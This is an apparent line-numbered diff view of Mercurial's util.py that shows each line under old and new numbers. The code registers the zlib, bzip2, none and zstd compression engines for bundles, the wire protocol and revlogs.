3261 raise error.Abort(_('compression engine %s already registered') %
3265 raise error.Abort(_('compression engine %s already registered') %
3262 name)
3266 name)
3263
3267
3264 bundleinfo = engine.bundletype()
3268 bundleinfo = engine.bundletype()
3265 if bundleinfo:
3269 if bundleinfo:
3266 bundlename, bundletype = bundleinfo
3270 bundlename, bundletype = bundleinfo
3267
3271
3268 if bundlename in self._bundlenames:
3272 if bundlename in self._bundlenames:
3269 raise error.Abort(_('bundle name %s already registered') %
3273 raise error.Abort(_('bundle name %s already registered') %
3270 bundlename)
3274 bundlename)
3271 if bundletype in self._bundletypes:
3275 if bundletype in self._bundletypes:
3272 raise error.Abort(_('bundle type %s already registered by %s') %
3276 raise error.Abort(_('bundle type %s already registered by %s') %
3273 (bundletype, self._bundletypes[bundletype]))
3277 (bundletype, self._bundletypes[bundletype]))
3274
3278
3275 # No external facing name declared.
3279 # No external facing name declared.
3276 if bundlename:
3280 if bundlename:
3277 self._bundlenames[bundlename] = name
3281 self._bundlenames[bundlename] = name
3278
3282
3279 self._bundletypes[bundletype] = name
3283 self._bundletypes[bundletype] = name
3280
3284
3281 wiresupport = engine.wireprotosupport()
3285 wiresupport = engine.wireprotosupport()
3282 if wiresupport:
3286 if wiresupport:
3283 wiretype = wiresupport.name
3287 wiretype = wiresupport.name
3284 if wiretype in self._wiretypes:
3288 if wiretype in self._wiretypes:
3285 raise error.Abort(_('wire protocol compression %s already '
3289 raise error.Abort(_('wire protocol compression %s already '
3286 'registered by %s') %
3290 'registered by %s') %
3287 (wiretype, self._wiretypes[wiretype]))
3291 (wiretype, self._wiretypes[wiretype]))
3288
3292
3289 self._wiretypes[wiretype] = name
3293 self._wiretypes[wiretype] = name
3290
3294
3291 revlogheader = engine.revlogheader()
3295 revlogheader = engine.revlogheader()
3292 if revlogheader and revlogheader in self._revlogheaders:
3296 if revlogheader and revlogheader in self._revlogheaders:
3293 raise error.Abort(_('revlog header %s already registered by %s') %
3297 raise error.Abort(_('revlog header %s already registered by %s') %
3294 (revlogheader, self._revlogheaders[revlogheader]))
3298 (revlogheader, self._revlogheaders[revlogheader]))
3295
3299
3296 if revlogheader:
3300 if revlogheader:
3297 self._revlogheaders[revlogheader] = name
3301 self._revlogheaders[revlogheader] = name
3298
3302
3299 self._engines[name] = engine
3303 self._engines[name] = engine
3300
3304
3301 @property
3305 @property
3302 def supportedbundlenames(self):
3306 def supportedbundlenames(self):
3303 return set(self._bundlenames.keys())
3307 return set(self._bundlenames.keys())
3304
3308
3305 @property
3309 @property
3306 def supportedbundletypes(self):
3310 def supportedbundletypes(self):
3307 return set(self._bundletypes.keys())
3311 return set(self._bundletypes.keys())
3308
3312
3309 def forbundlename(self, bundlename):
3313 def forbundlename(self, bundlename):
3310 """Obtain a compression engine registered to a bundle name.
3314 """Obtain a compression engine registered to a bundle name.
3311
3315
3312 Will raise KeyError if the bundle type isn't registered.
3316 Will raise KeyError if the bundle type isn't registered.
3313
3317
3314 Will abort if the engine is known but not available.
3318 Will abort if the engine is known but not available.
3315 """
3319 """
3316 engine = self._engines[self._bundlenames[bundlename]]
3320 engine = self._engines[self._bundlenames[bundlename]]
3317 if not engine.available():
3321 if not engine.available():
3318 raise error.Abort(_('compression engine %s could not be loaded') %
3322 raise error.Abort(_('compression engine %s could not be loaded') %
3319 engine.name())
3323 engine.name())
3320 return engine
3324 return engine
3321
3325
3322 def forbundletype(self, bundletype):
3326 def forbundletype(self, bundletype):
3323 """Obtain a compression engine registered to a bundle type.
3327 """Obtain a compression engine registered to a bundle type.
3324
3328
3325 Will raise KeyError if the bundle type isn't registered.
3329 Will raise KeyError if the bundle type isn't registered.
3326
3330
3327 Will abort if the engine is known but not available.
3331 Will abort if the engine is known but not available.
3328 """
3332 """
3329 engine = self._engines[self._bundletypes[bundletype]]
3333 engine = self._engines[self._bundletypes[bundletype]]
3330 if not engine.available():
3334 if not engine.available():
3331 raise error.Abort(_('compression engine %s could not be loaded') %
3335 raise error.Abort(_('compression engine %s could not be loaded') %
3332 engine.name())
3336 engine.name())
3333 return engine
3337 return engine
3334
3338
3335 def supportedwireengines(self, role, onlyavailable=True):
3339 def supportedwireengines(self, role, onlyavailable=True):
3336 """Obtain compression engines that support the wire protocol.
3340 """Obtain compression engines that support the wire protocol.
3337
3341
3338 Returns a list of engines in prioritized order, most desired first.
3342 Returns a list of engines in prioritized order, most desired first.
3339
3343
3340 If ``onlyavailable`` is set, filter out engines that can't be
3344 If ``onlyavailable`` is set, filter out engines that can't be
3341 loaded.
3345 loaded.
3342 """
3346 """
3343 assert role in (SERVERROLE, CLIENTROLE)
3347 assert role in (SERVERROLE, CLIENTROLE)
3344
3348
3345 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3349 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3346
3350
3347 engines = [self._engines[e] for e in self._wiretypes.values()]
3351 engines = [self._engines[e] for e in self._wiretypes.values()]
3348 if onlyavailable:
3352 if onlyavailable:
3349 engines = [e for e in engines if e.available()]
3353 engines = [e for e in engines if e.available()]
3350
3354
3351 def getkey(e):
3355 def getkey(e):
3352 # Sort first by priority, highest first. In case of tie, sort
3356 # Sort first by priority, highest first. In case of tie, sort
3353 # alphabetically. This is arbitrary, but ensures output is
3357 # alphabetically. This is arbitrary, but ensures output is
3354 # stable.
3358 # stable.
3355 w = e.wireprotosupport()
3359 w = e.wireprotosupport()
3356 return -1 * getattr(w, attr), w.name
3360 return -1 * getattr(w, attr), w.name
3357
3361
3358 return list(sorted(engines, key=getkey))
3362 return list(sorted(engines, key=getkey))
3359
3363
3360 def forwiretype(self, wiretype):
3364 def forwiretype(self, wiretype):
3361 engine = self._engines[self._wiretypes[wiretype]]
3365 engine = self._engines[self._wiretypes[wiretype]]
3362 if not engine.available():
3366 if not engine.available():
3363 raise error.Abort(_('compression engine %s could not be loaded') %
3367 raise error.Abort(_('compression engine %s could not be loaded') %
3364 engine.name())
3368 engine.name())
3365 return engine
3369 return engine
3366
3370
3367 def forrevlogheader(self, header):
3371 def forrevlogheader(self, header):
3368 """Obtain a compression engine registered to a revlog header.
3372 """Obtain a compression engine registered to a revlog header.
3369
3373
3370 Will raise KeyError if the revlog header value isn't registered.
3374 Will raise KeyError if the revlog header value isn't registered.
3371 """
3375 """
3372 return self._engines[self._revlogheaders[header]]
3376 return self._engines[self._revlogheaders[header]]
3373
3377
3374 compengines = compressormanager()
3378 compengines = compressormanager()
3375
3379
3376 class compressionengine(object):
3380 class compressionengine(object):
3377 """Base class for compression engines.
3381 """Base class for compression engines.
3378
3382
3379 Compression engines must implement the interface defined by this class.
3383 Compression engines must implement the interface defined by this class.
3380 """
3384 """
3381 def name(self):
3385 def name(self):
3382 """Returns the name of the compression engine.
3386 """Returns the name of the compression engine.
3383
3387
3384 This is the key the engine is registered under.
3388 This is the key the engine is registered under.
3385
3389
3386 This method must be implemented.
3390 This method must be implemented.
3387 """
3391 """
3388 raise NotImplementedError()
3392 raise NotImplementedError()
3389
3393
3390 def available(self):
3394 def available(self):
3391 """Whether the compression engine is available.
3395 """Whether the compression engine is available.
3392
3396
3393 The intent of this method is to allow optional compression engines
3397 The intent of this method is to allow optional compression engines
3394 that may not be available in all installations (such as engines relying
3398 that may not be available in all installations (such as engines relying
3395 on C extensions that may not be present).
3399 on C extensions that may not be present).
3396 """
3400 """
3397 return True
3401 return True
3398
3402
3399 def bundletype(self):
3403 def bundletype(self):
3400 """Describes bundle identifiers for this engine.
3404 """Describes bundle identifiers for this engine.
3401
3405
3402 If this compression engine isn't supported for bundles, returns None.
3406 If this compression engine isn't supported for bundles, returns None.
3403
3407
3404 If this engine can be used for bundles, returns a 2-tuple of strings of
3408 If this engine can be used for bundles, returns a 2-tuple of strings of
3405 the user-facing "bundle spec" compression name and an internal
3409 the user-facing "bundle spec" compression name and an internal
3406 identifier used to denote the compression format within bundles. To
3410 identifier used to denote the compression format within bundles. To
3407 exclude the name from external usage, set the first element to ``None``.
3411 exclude the name from external usage, set the first element to ``None``.
3408
3412
3409 If bundle compression is supported, the class must also implement
3413 If bundle compression is supported, the class must also implement
3410 ``compressstream`` and `decompressorreader``.
3414 ``compressstream`` and `decompressorreader``.
3411
3415
3412 The docstring of this method is used in the help system to tell users
3416 The docstring of this method is used in the help system to tell users
3413 about this engine.
3417 about this engine.
3414 """
3418 """
3415 return None
3419 return None
3416
3420
3417 def wireprotosupport(self):
3421 def wireprotosupport(self):
3418 """Declare support for this compression format on the wire protocol.
3422 """Declare support for this compression format on the wire protocol.
3419
3423
3420 If this compression engine isn't supported for compressing wire
3424 If this compression engine isn't supported for compressing wire
3421 protocol payloads, returns None.
3425 protocol payloads, returns None.
3422
3426
3423 Otherwise, returns ``compenginewireprotosupport`` with the following
3427 Otherwise, returns ``compenginewireprotosupport`` with the following
3424 fields:
3428 fields:
3425
3429
3426 * String format identifier
3430 * String format identifier
3427 * Integer priority for the server
3431 * Integer priority for the server
3428 * Integer priority for the client
3432 * Integer priority for the client
3429
3433
3430 The integer priorities are used to order the advertisement of format
3434 The integer priorities are used to order the advertisement of format
3431 support by server and client. The highest integer is advertised
3435 support by server and client. The highest integer is advertised
3432 first. Integers with non-positive values aren't advertised.
3436 first. Integers with non-positive values aren't advertised.
3433
3437
3434 The priority values are somewhat arbitrary and only used for default
3438 The priority values are somewhat arbitrary and only used for default
3435 ordering. The relative order can be changed via config options.
3439 ordering. The relative order can be changed via config options.
3436
3440
3437 If wire protocol compression is supported, the class must also implement
3441 If wire protocol compression is supported, the class must also implement
3438 ``compressstream`` and ``decompressorreader``.
3442 ``compressstream`` and ``decompressorreader``.
3439 """
3443 """
3440 return None
3444 return None
3441
3445
3442 def revlogheader(self):
3446 def revlogheader(self):
3443 """Header added to revlog chunks that identifies this engine.
3447 """Header added to revlog chunks that identifies this engine.
3444
3448
3445 If this engine can be used to compress revlogs, this method should
3449 If this engine can be used to compress revlogs, this method should
3446 return the bytes used to identify chunks compressed with this engine.
3450 return the bytes used to identify chunks compressed with this engine.
3447 Else, the method should return ``None`` to indicate it does not
3451 Else, the method should return ``None`` to indicate it does not
3448 participate in revlog compression.
3452 participate in revlog compression.
3449 """
3453 """
3450 return None
3454 return None
3451
3455
3452 def compressstream(self, it, opts=None):
3456 def compressstream(self, it, opts=None):
3453 """Compress an iterator of chunks.
3457 """Compress an iterator of chunks.
3454
3458
3455 The method receives an iterator (ideally a generator) of chunks of
3459 The method receives an iterator (ideally a generator) of chunks of
3456 bytes to be compressed. It returns an iterator (ideally a generator)
3460 bytes to be compressed. It returns an iterator (ideally a generator)
3457 of bytes of chunks representing the compressed output.
3461 of bytes of chunks representing the compressed output.
3458
3462
3459 Optionally accepts an argument defining how to perform compression.
3463 Optionally accepts an argument defining how to perform compression.
3460 Each engine treats this argument differently.
3464 Each engine treats this argument differently.
3461 """
3465 """
3462 raise NotImplementedError()
3466 raise NotImplementedError()
3463
3467
3464 def decompressorreader(self, fh):
3468 def decompressorreader(self, fh):
3465 """Perform decompression on a file object.
3469 """Perform decompression on a file object.
3466
3470
3467 Argument is an object with a ``read(size)`` method that returns
3471 Argument is an object with a ``read(size)`` method that returns
3468 compressed data. Return value is an object with a ``read(size)`` that
3472 compressed data. Return value is an object with a ``read(size)`` that
3469 returns uncompressed data.
3473 returns uncompressed data.
3470 """
3474 """
3471 raise NotImplementedError()
3475 raise NotImplementedError()
3472
3476
3473 def revlogcompressor(self, opts=None):
3477 def revlogcompressor(self, opts=None):
3474 """Obtain an object that can be used to compress revlog entries.
3478 """Obtain an object that can be used to compress revlog entries.
3475
3479
3476 The object has a ``compress(data)`` method that compresses binary
3480 The object has a ``compress(data)`` method that compresses binary
3477 data. This method returns compressed binary data or ``None`` if
3481 data. This method returns compressed binary data or ``None`` if
3478 the data could not be compressed (too small, not compressible, etc).
3482 the data could not be compressed (too small, not compressible, etc).
3479 The returned data should have a header uniquely identifying this
3483 The returned data should have a header uniquely identifying this
3480 compression format so decompression can be routed to this engine.
3484 compression format so decompression can be routed to this engine.
3481 This header should be identified by the ``revlogheader()`` return
3485 This header should be identified by the ``revlogheader()`` return
3482 value.
3486 value.
3483
3487
3484 The object has a ``decompress(data)`` method that decompresses
3488 The object has a ``decompress(data)`` method that decompresses
3485 data. The method will only be called if ``data`` begins with
3489 data. The method will only be called if ``data`` begins with
3486 ``revlogheader()``. The method should return the raw, uncompressed
3490 ``revlogheader()``. The method should return the raw, uncompressed
3487 data or raise a ``RevlogError``.
3491 data or raise a ``RevlogError``.
3488
3492
3489 The object is reusable but is not thread safe.
3493 The object is reusable but is not thread safe.
3490 """
3494 """
3491 raise NotImplementedError()
3495 raise NotImplementedError()
3492
3496
3493 class _zlibengine(compressionengine):
3497 class _zlibengine(compressionengine):
3494 def name(self):
3498 def name(self):
3495 return 'zlib'
3499 return 'zlib'
3496
3500
3497 def bundletype(self):
3501 def bundletype(self):
3498 """zlib compression using the DEFLATE algorithm.
3502 """zlib compression using the DEFLATE algorithm.
3499
3503
3500 All Mercurial clients should support this format. The compression
3504 All Mercurial clients should support this format. The compression
3501 algorithm strikes a reasonable balance between compression ratio
3505 algorithm strikes a reasonable balance between compression ratio
3502 and size.
3506 and size.
3503 """
3507 """
3504 return 'gzip', 'GZ'
3508 return 'gzip', 'GZ'
3505
3509
3506 def wireprotosupport(self):
3510 def wireprotosupport(self):
3507 return compewireprotosupport('zlib', 20, 20)
3511 return compewireprotosupport('zlib', 20, 20)
3508
3512
3509 def revlogheader(self):
3513 def revlogheader(self):
3510 return 'x'
3514 return 'x'
3511
3515
3512 def compressstream(self, it, opts=None):
3516 def compressstream(self, it, opts=None):
3513 opts = opts or {}
3517 opts = opts or {}
3514
3518
3515 z = zlib.compressobj(opts.get('level', -1))
3519 z = zlib.compressobj(opts.get('level', -1))
3516 for chunk in it:
3520 for chunk in it:
3517 data = z.compress(chunk)
3521 data = z.compress(chunk)
3518 # Not all calls to compress emit data. It is cheaper to inspect
3522 # Not all calls to compress emit data. It is cheaper to inspect
3519 # here than to feed empty chunks through generator.
3523 # here than to feed empty chunks through generator.
3520 if data:
3524 if data:
3521 yield data
3525 yield data
3522
3526
3523 yield z.flush()
3527 yield z.flush()
3524
3528
3525 def decompressorreader(self, fh):
3529 def decompressorreader(self, fh):
3526 def gen():
3530 def gen():
3527 d = zlib.decompressobj()
3531 d = zlib.decompressobj()
3528 for chunk in filechunkiter(fh):
3532 for chunk in filechunkiter(fh):
3529 while chunk:
3533 while chunk:
3530 # Limit output size to limit memory.
3534 # Limit output size to limit memory.
3531 yield d.decompress(chunk, 2 ** 18)
3535 yield d.decompress(chunk, 2 ** 18)
3532 chunk = d.unconsumed_tail
3536 chunk = d.unconsumed_tail
3533
3537
3534 return chunkbuffer(gen())
3538 return chunkbuffer(gen())
3535
3539
3536 class zlibrevlogcompressor(object):
3540 class zlibrevlogcompressor(object):
3537 def compress(self, data):
3541 def compress(self, data):
3538 insize = len(data)
3542 insize = len(data)
3539 # Caller handles empty input case.
3543 # Caller handles empty input case.
3540 assert insize > 0
3544 assert insize > 0
3541
3545
3542 if insize < 44:
3546 if insize < 44:
3543 return None
3547 return None
3544
3548
3545 elif insize <= 1000000:
3549 elif insize <= 1000000:
3546 compressed = zlib.compress(data)
3550 compressed = zlib.compress(data)
3547 if len(compressed) < insize:
3551 if len(compressed) < insize:
3548 return compressed
3552 return compressed
3549 return None
3553 return None
3550
3554
3551 # zlib makes an internal copy of the input buffer, doubling
3555 # zlib makes an internal copy of the input buffer, doubling
3552 # memory usage for large inputs. So do streaming compression
3556 # memory usage for large inputs. So do streaming compression
3553 # on large inputs.
3557 # on large inputs.
3554 else:
3558 else:
3555 z = zlib.compressobj()
3559 z = zlib.compressobj()
3556 parts = []
3560 parts = []
3557 pos = 0
3561 pos = 0
3558 while pos < insize:
3562 while pos < insize:
3559 pos2 = pos + 2**20
3563 pos2 = pos + 2**20
3560 parts.append(z.compress(data[pos:pos2]))
3564 parts.append(z.compress(data[pos:pos2]))
3561 pos = pos2
3565 pos = pos2
3562 parts.append(z.flush())
3566 parts.append(z.flush())
3563
3567
3564 if sum(map(len, parts)) < insize:
3568 if sum(map(len, parts)) < insize:
3565 return ''.join(parts)
3569 return ''.join(parts)
3566 return None
3570 return None
3567
3571
3568 def decompress(self, data):
3572 def decompress(self, data):
3569 try:
3573 try:
3570 return zlib.decompress(data)
3574 return zlib.decompress(data)
3571 except zlib.error as e:
3575 except zlib.error as e:
3572 raise error.RevlogError(_('revlog decompress error: %s') %
3576 raise error.RevlogError(_('revlog decompress error: %s') %
3573 str(e))
3577 str(e))
3574
3578
3575 def revlogcompressor(self, opts=None):
3579 def revlogcompressor(self, opts=None):
3576 return self.zlibrevlogcompressor()
3580 return self.zlibrevlogcompressor()
3577
3581
3578 compengines.register(_zlibengine())
3582 compengines.register(_zlibengine())
3579
3583
3580 class _bz2engine(compressionengine):
3584 class _bz2engine(compressionengine):
3581 def name(self):
3585 def name(self):
3582 return 'bz2'
3586 return 'bz2'
3583
3587
3584 def bundletype(self):
3588 def bundletype(self):
3585 """An algorithm that produces smaller bundles than ``gzip``.
3589 """An algorithm that produces smaller bundles than ``gzip``.
3586
3590
3587 All Mercurial clients should support this format.
3591 All Mercurial clients should support this format.
3588
3592
3589 This engine will likely produce smaller bundles than ``gzip`` but
3593 This engine will likely produce smaller bundles than ``gzip`` but
3590 will be significantly slower, both during compression and
3594 will be significantly slower, both during compression and
3591 decompression.
3595 decompression.
3592
3596
3593 If available, the ``zstd`` engine can yield similar or better
3597 If available, the ``zstd`` engine can yield similar or better
3594 compression at much higher speeds.
3598 compression at much higher speeds.
3595 """
3599 """
3596 return 'bzip2', 'BZ'
3600 return 'bzip2', 'BZ'
3597
3601
3598 # We declare a protocol name but don't advertise by default because
3602 # We declare a protocol name but don't advertise by default because
3599 # it is slow.
3603 # it is slow.
3600 def wireprotosupport(self):
3604 def wireprotosupport(self):
3601 return compewireprotosupport('bzip2', 0, 0)
3605 return compewireprotosupport('bzip2', 0, 0)
3602
3606
3603 def compressstream(self, it, opts=None):
3607 def compressstream(self, it, opts=None):
3604 opts = opts or {}
3608 opts = opts or {}
3605 z = bz2.BZ2Compressor(opts.get('level', 9))
3609 z = bz2.BZ2Compressor(opts.get('level', 9))
3606 for chunk in it:
3610 for chunk in it:
3607 data = z.compress(chunk)
3611 data = z.compress(chunk)
3608 if data:
3612 if data:
3609 yield data
3613 yield data
3610
3614
3611 yield z.flush()
3615 yield z.flush()
3612
3616
3613 def decompressorreader(self, fh):
3617 def decompressorreader(self, fh):
3614 def gen():
3618 def gen():
3615 d = bz2.BZ2Decompressor()
3619 d = bz2.BZ2Decompressor()
3616 for chunk in filechunkiter(fh):
3620 for chunk in filechunkiter(fh):
3617 yield d.decompress(chunk)
3621 yield d.decompress(chunk)
3618
3622
3619 return chunkbuffer(gen())
3623 return chunkbuffer(gen())
3620
3624
3621 compengines.register(_bz2engine())
3625 compengines.register(_bz2engine())
3622
3626
3623 class _truncatedbz2engine(compressionengine):
3627 class _truncatedbz2engine(compressionengine):
3624 def name(self):
3628 def name(self):
3625 return 'bz2truncated'
3629 return 'bz2truncated'
3626
3630
3627 def bundletype(self):
3631 def bundletype(self):
3628 return None, '_truncatedBZ'
3632 return None, '_truncatedBZ'
3629
3633
3630 # We don't implement compressstream because it is hackily handled elsewhere.
3634 # We don't implement compressstream because it is hackily handled elsewhere.
3631
3635
3632 def decompressorreader(self, fh):
3636 def decompressorreader(self, fh):
3633 def gen():
3637 def gen():
3634 # The input stream doesn't have the 'BZ' header. So add it back.
3638 # The input stream doesn't have the 'BZ' header. So add it back.
3635 d = bz2.BZ2Decompressor()
3639 d = bz2.BZ2Decompressor()
3636 d.decompress('BZ')
3640 d.decompress('BZ')
3637 for chunk in filechunkiter(fh):
3641 for chunk in filechunkiter(fh):
3638 yield d.decompress(chunk)
3642 yield d.decompress(chunk)
3639
3643
3640 return chunkbuffer(gen())
3644 return chunkbuffer(gen())
3641
3645
3642 compengines.register(_truncatedbz2engine())
3646 compengines.register(_truncatedbz2engine())
3643
3647
3644 class _noopengine(compressionengine):
3648 class _noopengine(compressionengine):
3645 def name(self):
3649 def name(self):
3646 return 'none'
3650 return 'none'
3647
3651
3648 def bundletype(self):
3652 def bundletype(self):
3649 """No compression is performed.
3653 """No compression is performed.
3650
3654
3651 Use this compression engine to explicitly disable compression.
3655 Use this compression engine to explicitly disable compression.
3652 """
3656 """
3653 return 'none', 'UN'
3657 return 'none', 'UN'
3654
3658
3655 # Clients always support uncompressed payloads. Servers don't because
3659 # Clients always support uncompressed payloads. Servers don't because
3656 # unless you are on a fast network, uncompressed payloads can easily
3660 # unless you are on a fast network, uncompressed payloads can easily
3657 # saturate your network pipe.
3661 # saturate your network pipe.
3658 def wireprotosupport(self):
3662 def wireprotosupport(self):
3659 return compewireprotosupport('none', 0, 10)
3663 return compewireprotosupport('none', 0, 10)
3660
3664
3661 # We don't implement revlogheader because it is handled specially
3665 # We don't implement revlogheader because it is handled specially
3662 # in the revlog class.
3666 # in the revlog class.
3663
3667
3664 def compressstream(self, it, opts=None):
3668 def compressstream(self, it, opts=None):
3665 return it
3669 return it
3666
3670
3667 def decompressorreader(self, fh):
3671 def decompressorreader(self, fh):
3668 return fh
3672 return fh
3669
3673
3670 class nooprevlogcompressor(object):
3674 class nooprevlogcompressor(object):
3671 def compress(self, data):
3675 def compress(self, data):
3672 return None
3676 return None
3673
3677
3674 def revlogcompressor(self, opts=None):
3678 def revlogcompressor(self, opts=None):
3675 return self.nooprevlogcompressor()
3679 return self.nooprevlogcompressor()
3676
3680
3677 compengines.register(_noopengine())
3681 compengines.register(_noopengine())
3678
3682
3679 class _zstdengine(compressionengine):
3683 class _zstdengine(compressionengine):
3680 def name(self):
3684 def name(self):
3681 return 'zstd'
3685 return 'zstd'
3682
3686
3683 @propertycache
3687 @propertycache
3684 def _module(self):
3688 def _module(self):
3685 # Not all installs have the zstd module available. So defer importing
3689 # Not all installs have the zstd module available. So defer importing
3686 # until first access.
3690 # until first access.
3687 try:
3691 try:
3688 from . import zstd
3692 from . import zstd
3689 # Force delayed import.
3693 # Force delayed import.
3690 zstd.__version__
3694 zstd.__version__
3691 return zstd
3695 return zstd
3692 except ImportError:
3696 except ImportError:
3693 return None
3697 return None
3694
3698
3695 def available(self):
3699 def available(self):
3696 return bool(self._module)
3700 return bool(self._module)
3697
3701
3698 def bundletype(self):
3702 def bundletype(self):
3699 """A modern compression algorithm that is fast and highly flexible.
3703 """A modern compression algorithm that is fast and highly flexible.
3700
3704
3701 Only supported by Mercurial 4.1 and newer clients.
3705 Only supported by Mercurial 4.1 and newer clients.
3702
3706
3703 With the default settings, zstd compression is both faster and yields
3707 With the default settings, zstd compression is both faster and yields
3704 better compression than ``gzip``. It also frequently yields better
3708 better compression than ``gzip``. It also frequently yields better
3705 compression than ``bzip2`` while operating at much higher speeds.
3709 compression than ``bzip2`` while operating at much higher speeds.
3706
3710
3707 If this engine is available and backwards compatibility is not a
3711 If this engine is available and backwards compatibility is not a
3708 concern, it is likely the best available engine.
3712 concern, it is likely the best available engine.
3709 """
3713 """
3710 return 'zstd', 'ZS'
3714 return 'zstd', 'ZS'
3711
3715
3712 def wireprotosupport(self):
3716 def wireprotosupport(self):
3713 return compewireprotosupport('zstd', 50, 50)
3717 return compewireprotosupport('zstd', 50, 50)
3714
3718
3715 def revlogheader(self):
3719 def revlogheader(self):
3716 return '\x28'
3720 return '\x28'
3717
3721
3718 def compressstream(self, it, opts=None):
3722 def compressstream(self, it, opts=None):
3719 opts = opts or {}
3723 opts = opts or {}
3720 # zstd level 3 is almost always significantly faster than zlib
3724 # zstd level 3 is almost always significantly faster than zlib
3721 # while providing no worse compression. It strikes a good balance
3725 # while providing no worse compression. It strikes a good balance
3722 # between speed and compression.
3726 # between speed and compression.
3723 level = opts.get('level', 3)
3727 level = opts.get('level', 3)
3724
3728
3725 zstd = self._module
3729 zstd = self._module
3726 z = zstd.ZstdCompressor(level=level).compressobj()
3730 z = zstd.ZstdCompressor(level=level).compressobj()
3727 for chunk in it:
3731 for chunk in it:
3728 data = z.compress(chunk)
3732 data = z.compress(chunk)
3729 if data:
3733 if data:
3730 yield data
3734 yield data
3731
3735
3732 yield z.flush()
3736 yield z.flush()
3733
3737
3734 def decompressorreader(self, fh):
3738 def decompressorreader(self, fh):
3735 zstd = self._module
3739 zstd = self._module
3736 dctx = zstd.ZstdDecompressor()
3740 dctx = zstd.ZstdDecompressor()
3737 return chunkbuffer(dctx.read_from(fh))
3741 return chunkbuffer(dctx.read_from(fh))
3738
3742
3739 class zstdrevlogcompressor(object):
3743 class zstdrevlogcompressor(object):
3740 def __init__(self, zstd, level=3):
3744 def __init__(self, zstd, level=3):
3741 # Writing the content size adds a few bytes to the output. However,
3745 # Writing the content size adds a few bytes to the output. However,
3742 # it allows decompression to be more optimal since we can
3746 # it allows decompression to be more optimal since we can
3743 # pre-allocate a buffer to hold the result.
3747 # pre-allocate a buffer to hold the result.
3744 self._cctx = zstd.ZstdCompressor(level=level,
3748 self._cctx = zstd.ZstdCompressor(level=level,
3745 write_content_size=True)
3749 write_content_size=True)
3746 self._dctx = zstd.ZstdDecompressor()
3750 self._dctx = zstd.ZstdDecompressor()
3747 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3751 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3748 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3752 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3749
3753
3750 def compress(self, data):
3754 def compress(self, data):
3751 insize = len(data)
3755 insize = len(data)
3752 # Caller handles empty input case.
3756 # Caller handles empty input case.
3753 assert insize > 0
3757 assert insize > 0
3754
3758
3755 if insize < 50:
3759 if insize < 50:
3756 return None
3760 return None
3757
3761
3758 elif insize <= 1000000:
3762 elif insize <= 1000000:
3759 compressed = self._cctx.compress(data)
3763 compressed = self._cctx.compress(data)
3760 if len(compressed) < insize:
3764 if len(compressed) < insize:
3761 return compressed
3765 return compressed
3762 return None
3766 return None
3763 else:
3767 else:
3764 z = self._cctx.compressobj()
3768 z = self._cctx.compressobj()
3765 chunks = []
3769 chunks = []
3766 pos = 0
3770 pos = 0
3767 while pos < insize:
3771 while pos < insize:
3768 pos2 = pos + self._compinsize
3772 pos2 = pos + self._compinsize
3769 chunk = z.compress(data[pos:pos2])
3773 chunk = z.compress(data[pos:pos2])
3770 if chunk:
3774 if chunk:
3771 chunks.append(chunk)
3775 chunks.append(chunk)
3772 pos = pos2
3776 pos = pos2
3773 chunks.append(z.flush())
3777 chunks.append(z.flush())
3774
3778
3775 if sum(map(len, chunks)) < insize:
3779 if sum(map(len, chunks)) < insize:
3776 return ''.join(chunks)
3780 return ''.join(chunks)
3777 return None
3781 return None
3778
3782
3779 def decompress(self, data):
3783 def decompress(self, data):
3780 insize = len(data)
3784 insize = len(data)
3781
3785
3782 try:
3786 try:
3783 # This was measured to be faster than other streaming
3787 # This was measured to be faster than other streaming
3784 # decompressors.
3788 # decompressors.
3785 dobj = self._dctx.decompressobj()
3789 dobj = self._dctx.decompressobj()
3786 chunks = []
3790 chunks = []
3787 pos = 0
3791 pos = 0
3788 while pos < insize:
3792 while pos < insize:
3789 pos2 = pos + self._decompinsize
3793 pos2 = pos + self._decompinsize
3790 chunk = dobj.decompress(data[pos:pos2])
3794 chunk = dobj.decompress(data[pos:pos2])
3791 if chunk:
3795 if chunk:
3792 chunks.append(chunk)
3796 chunks.append(chunk)
3793 pos = pos2
3797 pos = pos2
3794 # Frame should be exhausted, so no finish() API.
3798 # Frame should be exhausted, so no finish() API.
3795
3799
3796 return ''.join(chunks)
3800 return ''.join(chunks)
3797 except Exception as e:
3801 except Exception as e:
3798 raise error.RevlogError(_('revlog decompress error: %s') %
3802 raise error.RevlogError(_('revlog decompress error: %s') %
3799 str(e))
3803 str(e))
3800
3804
3801 def revlogcompressor(self, opts=None):
3805 def revlogcompressor(self, opts=None):
3802 opts = opts or {}
3806 opts = opts or {}
3803 return self.zstdrevlogcompressor(self._module,
3807 return self.zstdrevlogcompressor(self._module,
3804 level=opts.get('level', 3))
3808 level=opts.get('level', 3))
3805
3809
3806 compengines.register(_zstdengine())
3810 compengines.register(_zstdengine())
3807
3811
3808 def bundlecompressiontopics():
3812 def bundlecompressiontopics():
3809 """Obtains a list of available bundle compressions for use in help."""
3813 """Obtains a list of available bundle compressions for use in help."""
3810 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3814 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3811 items = {}
3815 items = {}
3812
3816
3813 # We need to format the docstring. So use a dummy object/type to hold it
3817 # We need to format the docstring. So use a dummy object/type to hold it
3814 # rather than mutating the original.
3818 # rather than mutating the original.
3815 class docobject(object):
3819 class docobject(object):
3816 pass
3820 pass
3817
3821
3818 for name in compengines:
3822 for name in compengines:
3819 engine = compengines[name]
3823 engine = compengines[name]
3820
3824
3821 if not engine.available():
3825 if not engine.available():
3822 continue
3826 continue
3823
3827
3824 bt = engine.bundletype()
3828 bt = engine.bundletype()
3825 if not bt or not bt[0]:
3829 if not bt or not bt[0]:
3826 continue
3830 continue
3827
3831
3828 doc = pycompat.sysstr('``%s``\n %s') % (
3832 doc = pycompat.sysstr('``%s``\n %s') % (
3829 bt[0], engine.bundletype.__doc__)
3833 bt[0], engine.bundletype.__doc__)
3830
3834
3831 value = docobject()
3835 value = docobject()
3832 value.__doc__ = doc
3836 value.__doc__ = doc
3833 value._origdoc = engine.bundletype.__doc__
3837 value._origdoc = engine.bundletype.__doc__
3834 value._origfunc = engine.bundletype
3838 value._origfunc = engine.bundletype
